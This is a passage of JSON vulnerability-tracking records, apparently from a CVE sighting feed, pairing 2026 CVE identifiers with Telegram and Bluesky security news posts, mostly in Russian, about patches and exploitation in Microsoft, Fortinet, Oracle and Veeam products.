CVE-2026-33825 (CVSS: 7.8), \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 Microsoft Defender, \u043a\u043e\u0442\u043e\u0440\u0430\u044f, \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u043c\u0438\u043a\u0440\u043e\u043c\u044f\u0433\u043a\u0438\u0445, \u0431\u044b\u043b\u0430 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0430 \u0434\u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Microsoft, \u043e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e, \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432\u0448\u0438\u0441\u044c \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0438\u0435\u043c \u0432 Defender \u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 - \u044d\u0442\u043e \u0441\u043b\u0443\u0447\u0430\u0439 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430, \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0438\u0439 \u0440\u0430\u0441\u0448\u0438\u0440\u0435\u043d\u0438\u044f \u0441\u043b\u0443\u0436\u0431\u044b \u043e\u0431\u043c\u0435\u043d\u0430 \u043a\u043b\u044e\u0447\u0430\u043c\u0438 \u0432 \u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442\u0435 (IKE) Windows. \u041e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-33824 \u0438 \u0438\u043c\u0435\u0435\u0442 \u043e\u0446\u0435\u043d\u043a\u0443 CVSS 9,8 \u0438\u0437 10,0.\n\n\u0414\u043b\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u043f\u0430\u043a\u0435\u0442\u044b \u043d\u0430 \u043a\u043e\u043c\u043f\u044c\u044e\u0442\u0435\u0440 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c Windows \u0441 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u043c \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u043c IKE v2, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 Windows, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a, Active Directory, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u0440\u0430\u0431\u043e\u0447\u0438\u0439 \u0441\u0442\u043e\u043b, Hello, \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432\u0430 \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f, \u043f\u043e\u0438\u0441\u043a, \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0442\u0440\u0430\u043d\u0441\u043b\u044f\u0446\u0438\u0438 TDI, BitLocker, \u043a\u043e\u043d\u0441\u043e\u043b\u044c \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f, TCP/IP, \u043e\u0431\u0449\u0438\u0439 \u0434\u0440\u0430\u0439\u0432\u0435\u0440 \u0444\u0430\u0439\u043b\u043e\u0432\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0436\u0443\u0440\u043d\u0430\u043b\u043e\u0432, \u0445\u043e\u0441\u0442 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 UPnP, COM, \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0430, \u0441\u043b\u0443\u0436\u0431\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u0439 \u0438 \u0434\u0438\u0441\u043f\u0435\u0442\u0447\u0435\u0440 \u043e\u043a\u043e\u043d \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0441\u0442\u043e\u043b\u0430, \u0442\u0430\u043a\u0436\u0435 \u0441 \u0431\u043e\u043b\u044c\u0448\u0435\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u0431\u0443\u0434\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0432 \u043d\u0435\u0434\u0430\u043b\u0435\u043a\u043e\u043c \u0431\u0443\u0434\u0443\u0449\u0435\u043c.\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0432 Tenable \u043e\u0442\u043c\u0435\u0447\u0430\u044e\u0442, \u0447\u0442\u043e \u044d\u0442\u043e \u0432\u0442\u043e\u0440\u043e\u0439 \u043f\u043e \u0432\u0435\u043b\u0438\u0447\u0438\u043d\u0435 \u00ab\u0412\u0442\u043e\u0440\u043d\u0438\u043a \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439\u00bb \u0437\u0430 \u0432\u0441\u044e \u0438\u0441\u0442\u043e\u0440\u0438\u044e, \u0438 \u043e\u043d \u043b\u0438\u0448\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u043d\u0435 \u0434\u043e\u0442\u044f\u043d\u0443\u043b \u0434\u043e \u0440\u0435\u043a\u043e\u0440\u0434\u0430, \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u00a0\u043e\u043a\u0442\u044f\u0431\u0440\u0435 2025 \u0433\u043e\u0434\u0430 (183 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438).\n\n\u0411\u043e\u043b\u0435\u0435 \u0442\u043e\u0433\u043e, EoP-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u044e\u0442 \u0434\u043e\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u0446\u0438\u043a\u043b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439 Patch Tuesday \u0437\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0438\u0435 \u0432\u043e\u0441\u0435\u043c\u044c \u043c\u0435\u0441\u044f\u0446\u0435\u0432, \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u044f\u044f \u0440\u0435\u043a\u043e\u0440\u0434\u043d\u044b\u0435 57% \u0432\u0441\u0435\u0445 CVE, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432 \u0430\u043f\u0440\u0435\u043b\u0435, \u0432 \u0442\u043e \u0432\u0440\u0435\u043c\u044f \u043a\u0430\u043a \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e RCE \u0441\u043d\u0438\u0437\u0438\u043b\u043e\u0441\u044c \u0434\u043e 12%, \u0441\u0440\u0430\u0432\u043d\u044f\u0432\u0448\u0438\u0441\u044c \u0441 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435.", "creation_timestamp": "2026-04-15T12:00:08.000000Z"}, {"uuid": "b4952e11-8776-4d3f-ac02-6d875ec2902f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21262", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjibqczvje2z", "content": "", "creation_timestamp": "2026-04-14T21:03:10.548136Z"}, {"uuid": "b0e8d44d-d86d-452f-beb3-8c33ec5b9e8c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mjibqd4jtf2o", "content": "", "creation_timestamp": "2026-04-14T21:03:11.653409Z"}, {"uuid": "b14cb887-eb90-4300-82d9-f18181f20a70", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-21719", "type": "seen", "source": "https://jvn.jp/en/jp/JVN78422311", "content": "", "creation_timestamp": "2026-04-16T20:00:00.000000Z"}, {"uuid": "53bbc4b3-aab0-43c9-8ba2-515b073eec44", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "seen", "source": "https://bsky.app/profile/thedailytechfeed.com/post/3mjkmckwojl2t", "content": "", "creation_timestamp": "2026-04-15T19:17:29.515736Z"}, {"uuid": "0a2b1598-4a41-4667-95d4-0a876accd88f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21520", "type": "seen", "source": "https://bsky.app/profile/pradi005.bsky.social/post/3mjl4tgytqs2t", "content": "", "creation_timestamp": "2026-04-16T00:13:15.559416Z"}, {"uuid": "0bccf920-3a4a-4197-8b2a-4c1fd29f260f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 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"https://t.me/thehackernews/8765", "content": "\u26a0\ufe0f APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.\n\n\ud83d\udd17 Read here \u2192 https://thehackernews.com/2026/04/apt28-deploys-prismex-malware-in.html", "creation_timestamp": "2026-04-08T14:09:27.000000Z"}, {"uuid": "489fea31-82f2-4e12-9959-ebf578a2d77e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21509", "type": "exploited", "source": "https://t.me/thehackernews/8765", "content": "\u26a0\ufe0f APT28 is targeting Ukraine and allied supply chains using a confirmed zero-day (CVE-2026-21513) and PRISMEX malware.\n\nIt also exploits CVE-2026-21509, with LNK delivery possibly chaining both flaws to enable theft and file-wiping.\n\n\ud83d\udd17 Read here \u2192 https://thehackernews.com/2026/04/apt28-deploys-prismex-malware-in.html", "creation_timestamp": "2026-04-08T14:09:27.000000Z"}, {"uuid": "56c4e61a-0237-49d0-b05e-8fcc83da238e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21717", "type": "seen", "source": "https://t.me/GithubRedTeam/79221", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-21717\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a dajneem23\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Zig\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-07 08:35:34\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-07T09:00:05.000000Z"}, {"uuid": "18c6c2b6-702a-495e-9544-4ca234c7e19e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21643", "type": "exploited", "source": "https://t.me/true_secator/8068", "content": "Fortinet \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0432 \u0432\u044b\u0445\u043e\u0434\u043d\u044b\u0435 \u0434\u043d\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u043e\u0439 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u0440\u0435\u0434\u043f\u0440\u0438\u044f\u0442\u0438\u0435\u043c FortiClient (EMS), \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u043a\u0430\u043a CVE-2026-35616 \u0438 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0443\u044e \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c 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\u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 FortiClient EMS 7.4.5 \u0438 7.4.6 \u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u043f\u0443\u0442\u0435\u043c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 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\u043d\u0435\u0434\u0435\u043b\u0435 \u0438 \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0442\u0430\u043a\u0436\u0435 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\n\u041e\u0431\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Defused, \u043f\u0440\u0438 \u044d\u0442\u043e\u043c \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Fortinet \u0442\u0430\u043a\u0436\u0435 \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430 \u0437\u0430\u0441\u043b\u0443\u0433\u0443 \u041d\u0433\u0443\u0435\u043d\u0430 \u0414\u044b\u043a \u0410\u043d\u044f \u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438.\n\nFortinet \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043d\u0435\u043c\u0435\u0434\u043b\u0435\u043d\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u0443 \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 7.4.7, \u043a\u043e\u0433\u0434\u0430 \u043e\u043d\u0430 \u0441\u0442\u0430\u043d\u0435\u0442 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u0447\u0442\u043e\u0431\u044b \u0441\u043d\u0438\u0437\u0438\u0442\u044c \u0440\u0438\u0441\u043a \u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-04-06T10:42:31.000000Z"}, {"uuid": "735fb675-e5f6-4a11-a0ea-916fd38bec8f", "vulnerability_lookup_origin": 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"CVE-2026-21992", "type": "seen", "source": "https://t.me/cibsecurity/88834", "content": "\ud83d\udd8b\ufe0f Oracle Patches Critical CVE-2026-21992 Enabling Unauthenticated RCE in Identity Manager \ud83d\udd8b\ufe0f\n\nOracle has released security updates to address a critical security flaw impacting Identity Manager and Web Services Manager that could be exploited to achieve remote code execution. The vulnerability, tracked as CVE202621992, carries a CVSS score of 9.8 out of a maximum of 10.0. \"This vulnerability is remotely exploitable without authentication,\" Oracle said in an advisory. \"If successfully.\n\n\ud83d\udcd6 Read more.\n\n\ud83d\udd17 Via \"The Hacker News\"\n\n----------\n\ud83d\udc41\ufe0f Seen on @cibsecurity", "creation_timestamp": "2026-03-21T20:09:58.000000Z"}, {"uuid": "1ad488ed-2d86-4bfc-84e3-a197ca572524", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21728", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mkbjwk6ycy2f", "content": "", "creation_timestamp": "2026-04-24T22:06:12.859818Z"}, {"uuid": "e566dd17-ee1e-41bc-9c39-7b6cd6a66be3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21667", "type": "exploited", "source": "https://t.me/true_secator/7993", "content": "Veeam Software \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 RCE.\n\nVeeam Backup & Replication - \u044d\u0442\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f 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(CVE-2026-21666, CVE-2026-21667 \u0438 CVE-2026-21669) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u0442\u0430\u043a \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f CVE-2026-21708 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 Backup Viewer \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c 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\u0447\u0442\u043e \u0431\u0443\u0434\u0435\u043c \u0441\u043b\u0435\u0434\u0438\u0442\u044c \u0437\u0430 \u043d\u043e\u0432\u043e\u0439 \u043f\u0430\u0440\u0442\u0438\u0435\u0439 CVE.", "creation_timestamp": "2026-03-13T16:26:50.000000Z"}, {"uuid": "0a143e6b-d360-4005-932d-b53e187af3b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-21708", "type": "exploited", "source": "https://t.me/true_secator/7993", "content": "Veeam Software \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0435\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0447\u0435\u0442\u044b\u0440\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 RCE.\n\nVeeam Backup & Replication - \u044d\u0442\u043e \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0435 \u041f\u041e \u0434\u043b\u044f \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u043e\u043c\u043e\u0433\u0430\u0435\u0442 \u0418\u0422-\u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u043a\u043e\u043f\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0434\u043b\u044f \u0431\u044b\u0441\u0442\u0440\u043e\u0433\u043e \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u043f\u043e\u0441\u043b\u0435 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a \u0438 \u0441\u0431\u043e\u0435\u0432 \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u044f.\n\n\u0422\u0440\u0438 RCE-\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (CVE-2026-21666, CVE-2026-21667 \u0438 CVE-2026-21669) \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0434\u043e\u043c\u0435\u043d\u0430 \u0441 \u043d\u0438\u0437\u043a\u0438\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u0430\u0442\u0430\u043a \u043d\u0438\u0437\u043a\u043e\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438.\n\n\u0427\u0435\u0442\u0432\u0435\u0440\u0442\u0430\u044f CVE-2026-21708 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 Backup Viewer \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e 